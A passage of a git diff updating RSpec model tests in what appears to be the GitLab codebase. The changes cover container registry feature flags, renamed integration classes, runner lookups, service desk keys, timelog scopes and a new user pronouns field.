it { is_expected.to delegate_method(:last_pipeline).to(:commit).with_arguments(allow_nil: true) }
it { is_expected.to delegate_method(:allow_editing_commit_messages?).to(:project_setting) }
+ it { is_expected.to delegate_method(:container_registry_enabled?).to(:project_feature) }
+ it { is_expected.to delegate_method(:container_registry_access_level).to(:project_feature) }
+
+ context 'when read_container_registry_access_level is disabled' do
+ before do
+ stub_feature_flags(read_container_registry_access_level: false)
+ end
+
+ it { is_expected.not_to delegate_method(:container_registry_enabled?).to(:project_feature) }
+ end
end
describe 'reference methods' do
@@ -967,6 +994,39 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '#open_issues_count', :aggregate_failures do
+ let(:project) { build(:project) }
+
+ it 'provides the issue count' do
+ expect(project.open_issues_count).to eq 0
+ end
+
+ it 'invokes the count service with current_user' do
+ user = build(:user)
+ count_service = instance_double(Projects::OpenIssuesCountService)
+ expect(Projects::OpenIssuesCountService).to receive(:new).with(project, user).and_return(count_service)
+ expect(count_service).to receive(:count)
+
+ project.open_issues_count(user)
+ end
+
+ it 'invokes the count service with no current_user' do
+ count_service = instance_double(Projects::OpenIssuesCountService)
+ expect(Projects::OpenIssuesCountService).to receive(:new).with(project, nil).and_return(count_service)
+ expect(count_service).to receive(:count)
+
+ project.open_issues_count
+ end
+ end
+
+ describe '#open_merge_requests_count' do
+ it 'provides the merge request count' do
+ project = build(:project)
+
+ expect(project.open_merge_requests_count).to eq 0
+ end
+ end
+
describe '#issue_exists?' do
let_it_be(:project) { create(:project) }
@@ -1086,7 +1146,7 @@ RSpec.describe Project, factory_default: :keep do
project = create(:redmine_project)
expect(project).to receive(:integrations).once.and_call_original
- 2.times { expect(project.external_issue_tracker).to be_a_kind_of(RedmineService) }
+ 2.times { expect(project.external_issue_tracker).to be_a_kind_of(Integrations::Redmine) }
end
end
@@ -1158,7 +1218,7 @@ RSpec.describe Project, factory_default: :keep do
it 'returns an active external wiki' do
create(:service, project: project, type: 'ExternalWikiService', active: true)
- is_expected.to be_kind_of(ExternalWikiService)
+ is_expected.to be_kind_of(Integrations::ExternalWiki)
end
it 'does not return an inactive external wiki' do
@@ -1584,19 +1644,20 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '.find_by_service_desk_project_key' do
- it 'returns the correct project' do
+ describe '.with_service_desk_key' do
+ it 'returns projects with given key' do
project1 = create(:project)
project2 = create(:project)
create(:service_desk_setting, project: project1, project_key: 'key1')
- create(:service_desk_setting, project: project2, project_key: 'key2')
+ create(:service_desk_setting, project: project2, project_key: 'key1')
+ create(:service_desk_setting, project_key: 'key2')
+ create(:service_desk_setting)
- expect(Project.find_by_service_desk_project_key('key1')).to eq(project1)
- expect(Project.find_by_service_desk_project_key('key2')).to eq(project2)
+ expect(Project.with_service_desk_key('key1')).to contain_exactly(project1, project2)
end
- it 'returns nil if there is no project with the key' do
- expect(Project.find_by_service_desk_project_key('some_key')).to be_nil
+ it 'returns empty if there is no project with the key' do
+ expect(Project.with_service_desk_key('key1')).to be_empty
end
end
@@ -1632,112 +1693,6 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#any_active_runners?' do
- subject { project.any_active_runners? }
-
- context 'shared runners' do
- let(:project) { create(:project, shared_runners_enabled: shared_runners_enabled) }
- let(:specific_runner) { create(:ci_runner, :project, projects: [project]) }
- let(:shared_runner) { create(:ci_runner, :instance) }
-
- context 'for shared runners disabled' do
- let(:shared_runners_enabled) { false }
-
- it 'has no runners available' do
- is_expected.to be_falsey
- end
-
- it 'has a specific runner' do
- specific_runner
-
- is_expected.to be_truthy
- end
-
- it 'has a shared runner, but they are prohibited to use' do
- shared_runner
-
- is_expected.to be_falsey
- end
-
- it 'checks the presence of specific runner' do
- specific_runner
-
- expect(project.any_active_runners? { |runner| runner == specific_runner }).to be_truthy
- end
-
- it 'returns false if match cannot be found' do
- specific_runner
-
- expect(project.any_active_runners? { false }).to be_falsey
- end
- end
-
- context 'for shared runners enabled' do
- let(:shared_runners_enabled) { true }
-
- it 'has a shared runner' do
- shared_runner
-
- is_expected.to be_truthy
- end
-
- it 'checks the presence of shared runner' do
- shared_runner
-
- expect(project.any_active_runners? { |runner| runner == shared_runner }).to be_truthy
- end
-
- it 'returns false if match cannot be found' do
- shared_runner
-
- expect(project.any_active_runners? { false }).to be_falsey
- end
- end
- end
-
- context 'group runners' do
- let(:project) { create(:project, group_runners_enabled: group_runners_enabled) }
- let(:group) { create(:group, projects: [project]) }
- let(:group_runner) { create(:ci_runner, :group, groups: [group]) }
-
- context 'for group runners disabled' do
- let(:group_runners_enabled) { false }
-
- it 'has no runners available' do
- is_expected.to be_falsey
- end
-
- it 'has a group runner, but they are prohibited to use' do
- group_runner
-
- is_expected.to be_falsey
- end
- end
-
- context 'for group runners enabled' do
- let(:group_runners_enabled) { true }
-
- it 'has a group runner' do
- group_runner
-
- is_expected.to be_truthy
- end
-
- it 'checks the presence of group runner' do
- group_runner
-
- expect(project.any_active_runners? { |runner| runner == group_runner }).to be_truthy
- end
-
- it 'returns false if match cannot be found' do
- group_runner
-
- expect(project.any_active_runners? { false }).to be_falsey
- end
- end
- end
- end
-
describe '#any_online_runners?' do
subject { project.any_online_runners? }
@@ -1858,13 +1813,13 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#shared_runners' do
- let!(:runner) { create(:ci_runner, :instance) }
+ shared_examples 'shared_runners' do
+ let_it_be(:runner) { create(:ci_runner, :instance) }
subject { project.shared_runners }
context 'when shared runners are enabled for project' do
- let!(:project) { create(:project, shared_runners_enabled: true) }
+ let(:project) { build_stubbed(:project, shared_runners_enabled: true) }
it "returns a list of shared runners" do
is_expected.to eq([runner])
@@ -1872,7 +1827,7 @@ RSpec.describe Project, factory_default: :keep do
end
context 'when shared runners are disabled for project' do
- let!(:project) { create(:project, shared_runners_enabled: false) }
+ let(:project) { build_stubbed(:project, shared_runners_enabled: false) }
it "returns a empty list" do
is_expected.to be_empty
@@ -1880,6 +1835,16 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '#shared_runners' do
+ it_behaves_like 'shared_runners'
+ end
+
+ describe '#available_shared_runners' do
+ it_behaves_like 'shared_runners' do
+ subject { project.available_shared_runners }
+ end
+ end
+
describe '#visibility_level' do
let(:project) { build(:project) }
@@ -2238,13 +2203,13 @@ RSpec.describe Project, factory_default: :keep do
end
context 'with projects on legacy storage' do
- let(:project) { create(:project, :repository, :legacy_storage) }
+ let(:project) { create(:project, :legacy_storage) }
it_behaves_like 'tracks storage location'
end
context 'with projects on hashed storage' do
- let(:project) { create(:project, :repository) }
+ let(:project) { create(:project) }
it_behaves_like 'tracks storage location'
end
@@ -2363,35 +2328,55 @@ RSpec.describe Project, factory_default: :keep do
it 'updates project_feature', :aggregate_failures do
# Simulate an existing project that has container_registry enabled
project.update_column(:container_registry_enabled, true)
- project.project_feature.update_column(:container_registry_access_level, ProjectFeature::DISABLED)
-
- expect(project.container_registry_enabled).to eq(true)
- expect(project.project_feature.container_registry_access_level).to eq(ProjectFeature::DISABLED)
+ project.project_feature.update_column(:container_registry_access_level, ProjectFeature::ENABLED)
project.update!(container_registry_enabled: false)
- expect(project.container_registry_enabled).to eq(false)
+ expect(project.read_attribute(:container_registry_enabled)).to eq(false)
expect(project.project_feature.container_registry_access_level).to eq(ProjectFeature::DISABLED)
project.update!(container_registry_enabled: true)
- expect(project.container_registry_enabled).to eq(true)
+ expect(project.read_attribute(:container_registry_enabled)).to eq(true)
expect(project.project_feature.container_registry_access_level).to eq(ProjectFeature::ENABLED)
end
it 'rollsback both projects and project_features row in case of error', :aggregate_failures do
project.update_column(:container_registry_enabled, true)
- project.project_feature.update_column(:container_registry_access_level, ProjectFeature::DISABLED)
-
- expect(project.container_registry_enabled).to eq(true)
- expect(project.project_feature.container_registry_access_level).to eq(ProjectFeature::DISABLED)
+ project.project_feature.update_column(:container_registry_access_level, ProjectFeature::ENABLED)
allow(project).to receive(:valid?).and_return(false)
expect { project.update!(container_registry_enabled: false) }.to raise_error(ActiveRecord::RecordInvalid)
- expect(project.reload.container_registry_enabled).to eq(true)
- expect(project.project_feature.reload.container_registry_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.reload.read_attribute(:container_registry_enabled)).to eq(true)
+ expect(project.project_feature.reload.container_registry_access_level).to eq(ProjectFeature::ENABLED)
+ end
+ end
+
+ describe '#container_registry_enabled' do
+ let_it_be_with_reload(:project) { create(:project) }
+
+ it 'delegates to project_feature', :aggregate_failures do
+ project.update_column(:container_registry_enabled, true)
+ project.project_feature.update_column(:container_registry_access_level, ProjectFeature::DISABLED)
+
+ expect(project.container_registry_enabled).to eq(false)
+ expect(project.container_registry_enabled?).to eq(false)
+ end
+
+ context 'with read_container_registry_access_level disabled' do
+ before do
+ stub_feature_flags(read_container_registry_access_level: false)
+ end
+
+ it 'reads project.container_registry_enabled' do
+ project.update_column(:container_registry_enabled, true)
+ project.project_feature.update_column(:container_registry_access_level, ProjectFeature::DISABLED)
+
+ expect(project.container_registry_enabled).to eq(true)
+ expect(project.container_registry_enabled?).to eq(true)
+ end
end
end
@@ -2932,6 +2917,16 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '#mark_primary_write_location' do
+ let(:project) { create(:project) }
+
+ it 'marks the location with project ID' do
+ expect(Gitlab::Database::LoadBalancing::Sticking).to receive(:mark_primary_write_location).with(:project, project.id)
+
+ project.mark_primary_write_location
+ end
+ end
+
describe '#mark_stuck_remote_mirrors_as_failed!' do
it 'fails stuck remote mirrors' do
project = create(:project, :repository, :remote_mirror)
@@ -4414,6 +4409,18 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ context 'with export' do
+ let(:project) { create(:project, :with_export) }
+
+ it '#export_file_exists? returns true' do
+ expect(project.export_file_exists?).to be true
+ end
+
+ it '#export_archive_exists? returns false' do
+ expect(project.export_archive_exists?).to be true
+ end
+ end
+
describe '#forks_count' do
it 'returns the number of forks' do
project = build(:project)
@@ -4692,7 +4699,6 @@ RSpec.describe Project, factory_default: :keep do
specify do
expect(subject).to include
[
- { key: 'CI_PROJECT_CONFIG_PATH', value: Ci::Pipeline::DEFAULT_CONFIG_PATH, public: true, masked: false },
{ key: 'CI_CONFIG_PATH', value: Ci::Pipeline::DEFAULT_CONFIG_PATH, public: true, masked: false }
]
end
@@ -4705,7 +4711,6 @@ RSpec.describe Project, factory_default: :keep do
it do
expect(subject).to include
[
- { key: 'CI_PROJECT_CONFIG_PATH', value: 'random.yml', public: true, masked: false },
{ key: 'CI_CONFIG_PATH', value: 'random.yml', public: true, masked: false }
]
end
@@ -5328,7 +5333,7 @@ RSpec.describe Project, factory_default: :keep do
it 'executes services with the specified scope' do
data = 'any data'
- expect_next_found_instance_of(SlackService) do |instance|
+ expect_next_found_instance_of(Integrations::Slack) do |instance|
expect(instance).to receive(:async_execute).with(data).once
end
@@ -5336,7 +5341,7 @@ RSpec.describe Project, factory_default: :keep do
end
it 'does not execute services that don\'t match the specified scope' do
- expect(SlackService).not_to receive(:allocate).and_wrap_original do |method|
+ expect(Integrations::Slack).not_to receive(:allocate).and_wrap_original do |method|
method.call.tap do |instance|
expect(instance).not_to receive(:async_execute)
end
@@ -5379,7 +5384,7 @@ RSpec.describe Project, factory_default: :keep do
it { expect(project.has_active_services?).to be_falsey }
it 'returns true when a matching service exists' do
- create(:custom_issue_tracker_service, push_events: true, merge_requests_events: false, project: project)
+ create(:custom_issue_tracker_integration, push_events: true, merge_requests_events: false, project: project)
expect(project.has_active_services?(:merge_request_hooks)).to be_falsey
expect(project.has_active_services?).to be_truthy
@@ -6307,14 +6312,16 @@ RSpec.describe Project, factory_default: :keep do
let_it_be(:project) { create(:project, group: create(:group, :public)) }
it 'returns a maximum of ten maintainers of the project in recent_sign_in descending order' do
- users = create_list(:user, 12, :with_sign_ins)
+ limit = 2
+ stub_const("Member::ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT", limit)
+ users = create_list(:user, limit + 1, :with_sign_ins)
active_maintainers = users.map do |user|
create(:project_member, :maintainer, user: user, project: project)
end
active_maintainers_in_recent_sign_in_desc_order = project.members_and_requesters
.id_in(active_maintainers)
- .order_recent_sign_in.limit(10)
+ .order_recent_sign_in.limit(limit)
expect(project.access_request_approvers_to_be_notified).to eq(active_maintainers_in_recent_sign_in_desc_order)
end
@@ -6558,6 +6565,14 @@ RSpec.describe Project, factory_default: :keep do
expect(subject).to eq([lfs_object.oid])
end
end
+
+ it 'lfs_objects_projects associations are deleted along with project' do
+ expect { project.delete }.to change(LfsObjectsProject, :count).by(-2)
+ end
+
+ it 'lfs_objects associations are unchanged when the assicated project is removed' do
+ expect { project.delete }.not_to change(LfsObject, :count)
+ end
end
context 'when project has no associated LFS objects' do
@@ -6666,7 +6681,7 @@ RSpec.describe Project, factory_default: :keep do
context 'when project export is completed' do
before do
finish_job(project_export_job)
- allow(project).to receive(:export_file).and_return(double(ImportExportUploader, file: 'exists.zip'))
+ allow(project).to receive(:export_file_exists?).and_return(true)
end
it { expect(project.export_status).to eq :finished }
@@ -6677,7 +6692,7 @@ RSpec.describe Project, factory_default: :keep do
before do
finish_job(project_export_job)
- allow(project).to receive(:export_file).and_return(double(ImportExportUploader, file: 'exists.zip'))
+ allow(project).to receive(:export_file_exists?).and_return(true)
end
it { expect(project.export_status).to eq :regeneration_in_progress }
@@ -6973,7 +6988,7 @@ RSpec.describe Project, factory_default: :keep do
end
describe 'topics' do
- let_it_be(:project) { create(:project, tag_list: 'topic1, topic2, topic3') }
+ let_it_be(:project) { create(:project, topic_list: 'topic1, topic2, topic3') }
it 'topic_list returns correct string array' do
expect(project.topic_list).to match_array(%w[topic1 topic2 topic3])
@@ -6983,44 +6998,69 @@ RSpec.describe Project, factory_default: :keep do
expect(project.topics.first.class.name).to eq('ActsAsTaggableOn::Tag')
expect(project.topics.map(&:name)).to match_array(%w[topic1 topic2 topic3])
end
+ end
- context 'aliases' do
- it 'tag_list returns correct string array' do
- expect(project.tag_list).to match_array(%w[topic1 topic2 topic3])
+ shared_examples 'all_runners' do
+ let_it_be_with_refind(:project) { create(:project, group: create(:group)) }
+ let_it_be(:instance_runner) { create(:ci_runner, :instance) }
+ let_it_be(:group_runner) { create(:ci_runner, :group, groups: [project.group]) }
+ let_it_be(:other_group_runner) { create(:ci_runner, :group) }
+ let_it_be(:project_runner) { create(:ci_runner, :project, projects: [project]) }
+ let_it_be(:other_project_runner) { create(:ci_runner, :project) }
+
+ subject { project.all_runners }
+
+ context 'when shared runners are enabled for project' do
+ before do
+ project.update!(shared_runners_enabled: true)
end
- it 'tags returns correct tag records' do
- expect(project.tags.first.class.name).to eq('ActsAsTaggableOn::Tag')
- expect(project.tags.map(&:name)).to match_array(%w[topic1 topic2 topic3])
+ it 'returns a list with all runners' do
+ is_expected.to match_array([instance_runner, group_runner, project_runner])
end
end
- context 'intermediate state during background migration' do
+ context 'when shared runners are disabled for project' do
before do
- project.taggings.first.update!(context: 'tags')
- project.instance_variable_set("@tag_list", nil)
- project.reload
+ project.update!(shared_runners_enabled: false)
end
- it 'tag_list returns string array including old and new topics' do
- expect(project.tag_list).to match_array(%w[topic1 topic2 topic3])
+ it 'returns a list without shared runners' do
+ is_expected.to match_array([group_runner, project_runner])
+ end
+ end
+
+ context 'when group runners are enabled for project' do
+ before do
+ project.update!(group_runners_enabled: true)
end
- it 'tags returns old and new tag records' do
- expect(project.tags.first.class.name).to eq('ActsAsTaggableOn::Tag')
- expect(project.tags.map(&:name)).to match_array(%w[topic1 topic2 topic3])
- expect(project.taggings.map(&:context)).to match_array(%w[tags topics topics])
+ it 'returns a list with all runners' do
+ is_expected.to match_array([instance_runner, group_runner, project_runner])
end
+ end
- it 'update tag_list adds new topics and removes old topics' do
- project.update!(tag_list: 'topic1, topic2, topic3, topic4')
+ context 'when group runners are disabled for project' do
+ before do
+ project.update!(group_runners_enabled: false)
+ end
- expect(project.tags.map(&:name)).to match_array(%w[topic1 topic2 topic3 topic4])
- expect(project.taggings.map(&:context)).to match_array(%w[topics topics topics topics])
+ it 'returns a list without group runners' do
+ is_expected.to match_array([instance_runner, project_runner])
end
end
end
+ describe '#all_runners' do
+ it_behaves_like 'all_runners'
+ end
+
+ describe '#all_available_runners' do
+ it_behaves_like 'all_runners' do
+ subject { project.all_available_runners }
+ end
+ end
+
def finish_job(export_job)
export_job.start
export_job.finish
diff --git a/spec/models/release_highlight_spec.rb b/spec/models/release_highlight_spec.rb
index b4dff4c33ff..a5441e2f47b 100644
--- a/spec/models/release_highlight_spec.rb
+++ b/spec/models/release_highlight_spec.rb
@@ -67,12 +67,12 @@ RSpec.describe ReleaseHighlight, :clean_gitlab_redis_cache do
expect(subject[:next_page]).to eq(2)
end
- it 'parses the body as markdown and returns html' do
- expect(subject[:items].first['body']).to match("<h2 id=\"bright-and-sunshinin-day\">bright and sunshinin’ day</h2>")
+ it 'parses the body as markdown and returns html, and links are target="_blank"' do
+ expect(subject[:items].first['body']).to match('<p data-sourcepos="1:1-1:62" dir="auto">bright and sunshinin\' <a href="https://en.wikipedia.org/wiki/Day" rel="nofollow noreferrer noopener" target="_blank">day</a></p>')
end
it 'logs an error if theres an error parsing markdown for an item, and skips it' do
- allow(Kramdown::Document).to receive(:new).and_raise
+ allow(Banzai).to receive(:render).and_raise
expect(Gitlab::ErrorTracking).to receive(:track_exception)
expect(subject[:items]).to be_empty
diff --git a/spec/models/repository_spec.rb b/spec/models/repository_spec.rb
index 7748846f6a5..b6f09babb4b 100644
--- a/spec/models/repository_spec.rb
+++ b/spec/models/repository_spec.rb
@@ -1123,6 +1123,70 @@ RSpec.describe Repository do
end
end
+ describe '#fetch_as_mirror' do
+ let(:url) { "http://example.com" }
+
+ context 'when :fetch_remote_params is enabled' do
+ let(:remote_name) { "remote-name" }
+
+ before do
+ stub_feature_flags(fetch_remote_params: true)
+ end
+
+ it 'fetches the URL without creating a remote' do
+ expect(repository).not_to receive(:add_remote)
+ expect(repository)
+ .to receive(:fetch_remote)
+ .with(remote_name, url: url, forced: false, prune: true, refmap: :all_refs)
+ .and_return(nil)
+
+ repository.fetch_as_mirror(url, remote_name: remote_name)
+ end
+ end
+
+ context 'when :fetch_remote_params is disabled' do
+ before do
+ stub_feature_flags(fetch_remote_params: false)
+ end
+
+ shared_examples 'a fetch' do
+ it 'adds and fetches a remote' do
+ expect(repository)
+ .to receive(:add_remote)
+ .with(expected_remote, url, mirror_refmap: :all_refs)
+ .and_return(nil)
+ expect(repository)
+ .to receive(:fetch_remote)
+ .with(expected_remote, forced: false, prune: true)
+ .and_return(nil)
+
+ repository.fetch_as_mirror(url, remote_name: remote_name)
+ end
+ end
+
+ context 'with temporary remote' do
+ let(:remote_name) { nil }
+ let(:expected_remote_suffix) { "123456" }
+ let(:expected_remote) { "tmp-#{expected_remote_suffix}" }
+
+ before do
+ expect(repository)
+ .to receive(:async_remove_remote).with(expected_remote).and_return(nil)
+ allow(SecureRandom).to receive(:hex).and_return(expected_remote_suffix)
+ end
+
+ it_behaves_like 'a fetch'
+ end
+
+ context 'with remote name' do
+ let(:remote_name) { "foo" }
+ let(:expected_remote) { "foo" }
+
+ it_behaves_like 'a fetch'
+ end
+ end
+ end
+
describe '#fetch_ref' do
let(:broken_repository) { create(:project, :broken_storage).repository }
diff --git a/spec/models/service_desk_setting_spec.rb b/spec/models/service_desk_setting_spec.rb
index ca57a5d4087..8ccbd983ba1 100644
--- a/spec/models/service_desk_setting_spec.rb
+++ b/spec/models/service_desk_setting_spec.rb
@@ -31,6 +31,37 @@ RSpec.describe ServiceDeskSetting do
end
end
+ describe '.valid_project_key' do
+ # Creates two projects with same full path slug
+ # group1/test/one and group1/test-one will both have 'group-test-one' slug
+ let_it_be(:group) { create(:group) }
+ let_it_be(:subgroup) { create(:group, parent: group, name: 'test') }
+ let_it_be(:project1) { create(:project, name: 'test-one', group: group) }
+ let_it_be(:project2) { create(:project, name: 'one', group: subgroup) }
+ let_it_be(:project_key) { 'key' }
+
+ before_all do
+ create(:service_desk_setting, project: project1, project_key: project_key)
+ end
+
+ context 'when project_key is unique for every project slug' do
+ it 'does not add error' do
+ settings = build(:service_desk_setting, project: project2, project_key: 'otherkey')
+
+ expect(settings).to be_valid
+ end
+ end
+
+ context 'when project with same slug and settings project_key exists' do
+ it 'adds error' do
+ settings = build(:service_desk_setting, project: project2, project_key: project_key)
+
+ expect(settings).to be_invalid
+ expect(settings.errors[:project_key].first).to eq('already in use for another service desk address.')
+ end
+ end
+ end
+
describe 'associations' do
it { is_expected.to belong_to(:project) }
end
diff --git a/spec/models/snippet_repository_storage_move_spec.rb b/spec/models/snippet_repository_storage_move_spec.rb
deleted file mode 100644
index f5ad837fb36..00000000000
--- a/spec/models/snippet_repository_storage_move_spec.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe SnippetRepositoryStorageMove, type: :model do
- it_behaves_like 'handles repository moves' do
- let_it_be_with_refind(:container) { create(:snippet) }
-
- let(:repository_storage_factory_key) { :snippet_repository_storage_move }
- let(:error_key) { :snippet }
- let(:repository_storage_worker) { Snippets::UpdateRepositoryStorageWorker }
- end
-end
diff --git a/spec/models/snippet_spec.rb b/spec/models/snippet_spec.rb
index 41991821922..06e9899c0bd 100644
--- a/spec/models/snippet_spec.rb
+++ b/spec/models/snippet_spec.rb
@@ -750,7 +750,7 @@ RSpec.describe Snippet do
end
it 'returns an empty array' do
- expect(subject).to eq []
+ expect(subject).to be_empty
end
end
end
diff --git a/spec/models/timelog_spec.rb b/spec/models/timelog_spec.rb
index c3432907112..bc042f7a639 100644
--- a/spec/models/timelog_spec.rb
+++ b/spec/models/timelog_spec.rb
@@ -64,25 +64,57 @@ RSpec.describe Timelog do
let_it_be(:subgroup_issue) { create(:issue, project: subgroup_project) }
let_it_be(:subgroup_merge_request) { create(:merge_request, source_project: subgroup_project) }
- let_it_be(:timelog) { create(:issue_timelog, spent_at: 65.days.ago) }
- let_it_be(:timelog1) { create(:issue_timelog, spent_at: 15.days.ago, issue: group_issue) }
- let_it_be(:timelog2) { create(:issue_timelog, spent_at: 5.days.ago, issue: subgroup_issue) }
- let_it_be(:timelog3) { create(:merge_request_timelog, spent_at: 65.days.ago) }
- let_it_be(:timelog4) { create(:merge_request_timelog, spent_at: 15.days.ago, merge_request: group_merge_request) }
- let_it_be(:timelog5) { create(:merge_request_timelog, spent_at: 5.days.ago, merge_request: subgroup_merge_request) }
-
- describe 'in_group' do
+ let_it_be(:short_time_ago) { 5.days.ago }
+ let_it_be(:medium_time_ago) { 15.days.ago }
+ let_it_be(:long_time_ago) { 65.days.ago }
+
+ let_it_be(:timelog) { create(:issue_timelog, spent_at: long_time_ago) }
+ let_it_be(:timelog1) { create(:issue_timelog, spent_at: medium_time_ago, issue: group_issue) }
+ let_it_be(:timelog2) { create(:issue_timelog, spent_at: short_time_ago, issue: subgroup_issue) }
+ let_it_be(:timelog3) { create(:merge_request_timelog, spent_at: long_time_ago) }
+ let_it_be(:timelog4) { create(:merge_request_timelog, spent_at: medium_time_ago, merge_request: group_merge_request) }
+ let_it_be(:timelog5) { create(:merge_request_timelog, spent_at: short_time_ago, merge_request: subgroup_merge_request) }
+
+ describe '.in_group' do
it 'return timelogs created for group issues and merge requests' do
expect(described_class.in_group(group)).to contain_exactly(timelog1, timelog2, timelog4, timelog5)
end
end
- describe 'between_times' do
- it 'returns collection of timelogs within given times' do
- timelogs = described_class.between_times(20.days.ago, 10.days.ago)
+ describe '.at_or_after' do
+ it 'returns timelogs at the time limit' do
+ timelogs = described_class.at_or_after(short_time_ago)
- expect(timelogs).to contain_exactly(timelog1, timelog4)
+ expect(timelogs).to contain_exactly(timelog2, timelog5)
end
+
+ it 'returns timelogs after given time' do
+ timelogs = described_class.at_or_after(just_before(short_time_ago))
+
+ expect(timelogs).to contain_exactly(timelog2, timelog5)
+ end
+ end
+
+ describe '.at_or_before' do
+ it 'returns timelogs at the time limit' do
+ timelogs = described_class.at_or_before(long_time_ago)
+
+ expect(timelogs).to contain_exactly(timelog, timelog3)
+ end
+
+ it 'returns timelogs before given time' do
+ timelogs = described_class.at_or_before(just_after(long_time_ago))
+
+ expect(timelogs).to contain_exactly(timelog, timelog3)
+ end
+ end
+
+ def just_before(time)
+ time - 1.day
+ end
+
+ def just_after(time)
+ time + 1.day
end
end
end
diff --git a/spec/models/todo_spec.rb b/spec/models/todo_spec.rb
index caa0a886abf..651e2cf273f 100644
--- a/spec/models/todo_spec.rb
+++ b/spec/models/todo_spec.rb
@@ -376,6 +376,18 @@ RSpec.describe Todo do
end
end
+ describe '.for_note' do
+ it 'returns todos that belongs to notes' do
+ note_1 = create(:note, noteable: issue, project: issue.project)
+ note_2 = create(:note, noteable: issue, project: issue.project)
+ todo_1 = create(:todo, note: note_1)
+ todo_2 = create(:todo, note: note_2)
+ create(:todo, note: create(:note))
+
+ expect(described_class.for_note([note_1, note_2])).to contain_exactly(todo_1, todo_2)
+ end
+ end
+
describe '.group_by_user_id_and_state' do
let_it_be(:user1) { create(:user) }
let_it_be(:user2) { create(:user) }
diff --git a/spec/models/user_detail_spec.rb b/spec/models/user_detail_spec.rb
index 041af5b9c31..c2d9b916a1c 100644
--- a/spec/models/user_detail_spec.rb
+++ b/spec/models/user_detail_spec.rb
@@ -11,6 +11,11 @@ RSpec.describe UserDetail do
it { is_expected.to validate_length_of(:job_title).is_at_most(200) }
end
+ describe '#pronouns' do
+ it { is_expected.not_to validate_presence_of(:pronouns) }
+ it { is_expected.to validate_length_of(:pronouns).is_at_most(50) }
+ end
+
describe '#bio' do
it { is_expected.to validate_length_of(:bio).is_at_most(255) }
end
diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb
index cb34917f073..f1c30a646f5 100644
--- a/spec/models/user_spec.rb
+++ b/spec/models/user_spec.rb
@@ -22,6 +22,8 @@ RSpec.describe User do
describe 'constants' do
it { expect(described_class::COUNT_CACHE_VALIDITY_PERIOD).to be_a(Integer) }
+ it { expect(described_class::MAX_USERNAME_LENGTH).to be_a(Integer) }
+ it { expect(described_class::MIN_USERNAME_LENGTH).to be_a(Integer) }
end
describe 'delegations' do
@@ -72,6 +74,9 @@ RSpec.describe User do
it { is_expected.to delegate_method(:job_title).to(:user_detail).allow_nil }
it { is_expected.to delegate_method(:job_title=).to(:user_detail).with_arguments(:args).allow_nil }
+ it { is_expected.to delegate_method(:pronouns).to(:user_detail).allow_nil }
+ it { is_expected.to delegate_method(:pronouns=).to(:user_detail).with_arguments(:args).allow_nil }
+
it { is_expected.to delegate_method(:bio).to(:user_detail).allow_nil }
it { is_expected.to delegate_method(:bio=).to(:user_detail).with_arguments(:args).allow_nil }
it { is_expected.to delegate_method(:bio_html).to(:user_detail).allow_nil }
@@ -90,7 +95,7 @@ RSpec.describe User do
it { is_expected.to have_many(:group_members) }
it { is_expected.to have_many(:groups) }
it { is_expected.to have_many(:keys).dependent(:destroy) }
- it { is_expected.to have_many(:expired_today_and_unnotified_keys) }
+ it { is_expected.to have_many(:expired_and_unnotified_keys) }
it { is_expected.to have_many(:deploy_keys).dependent(:nullify) }
it { is_expected.to have_many(:group_deploy_keys) }
it { is_expected.to have_many(:events).dependent(:delete_all) }
@@ -134,6 +139,12 @@ RSpec.describe User do
expect(user.bio).to eq(user.user_detail.bio)
end
+ it 'delegates `pronouns` to `user_detail`' do
+ user = create(:user, pronouns: 'they/them')
+
+ expect(user.pronouns).to eq(user.user_detail.pronouns)
+ end
+
it 'creates `user_detail` when `bio` is first updated' do
user = create(:user)
@@ -1025,12 +1036,6 @@ RSpec.describe User do
let_it_be(:expiring_soon_not_notified) { create(:key, expires_at: 2.days.from_now, user: user2) }
let_it_be(:expiring_soon_notified) { create(:key, expires_at: 2.days.from_now, user: user1, before_expiry_notification_delivered_at: Time.current) }
- describe '.with_ssh_key_expired_today' do
- it 'returns users whose key has expired today' do
- expect(described_class.with_ssh_key_expired_today).to contain_exactly(user1)
- end
- end
-
describe '.with_ssh_key_expiring_soon' do
it 'returns users whose keys will expire soon' do
expect(described_class.with_ssh_key_expiring_soon).to contain_exactly(user2)
@@ -4258,45 +4263,16 @@ RSpec.describe User do
end
describe '#invalidate_issue_cache_counts' do
- let_it_be(:user) { create(:user) }
-
- subject do
- user.invalidate_issue_cache_counts
- user.save!
- end
-
- shared_examples 'invalidates the cached value' do
- it 'invalidates cache for issue counter' do
- expect(Rails.cache).to receive(:delete).with(['users', user.id, 'assigned_open_issues_count'])
-
- subject
- end
- end
-
- it_behaves_like 'invalidates the cached value'
-
- context 'if feature flag assigned_open_issues_cache is enabled' do
- it 'calls the recalculate worker' do
- expect(Users::UpdateOpenIssueCountWorker).to receive(:perform_async).with(user.id)
-
- subject
- end
-
- it_behaves_like 'invalidates the cached value'
- end
+ let(:user) { build_stubbed(:user) }
- context 'if feature flag assigned_open_issues_cache is disabled' do
- before do
- stub_feature_flags(assigned_open_issues_cache: false)
- end
+ it 'invalidates cache for issue counter' do
+ cache_mock = double
- it 'does not call the recalculate worker' do
- expect(Users::UpdateOpenIssueCountWorker).not_to receive(:perform_async).with(user.id)
+ expect(cache_mock).to receive(:delete).with(['users', user.id, 'assigned_open_issues_count'])
- subject
- end
+ allow(Rails).to receive(:cache).and_return(cache_mock)
- it_behaves_like 'invalidates the cached value'
+ user.invalidate_issue_cache_counts
end
end
@@ -5272,9 +5248,10 @@ RSpec.describe User do
let_it_be(:user3) { create(:user, :ghost) }
let_it_be(:user4) { create(:user, user_type: :support_bot) }
let_it_be(:user5) { create(:user, state: 'blocked', user_type: :support_bot) }
+ let_it_be(:user6) { create(:user, user_type: :automation_bot) }
it 'returns all active users including active bots but ghost users' do
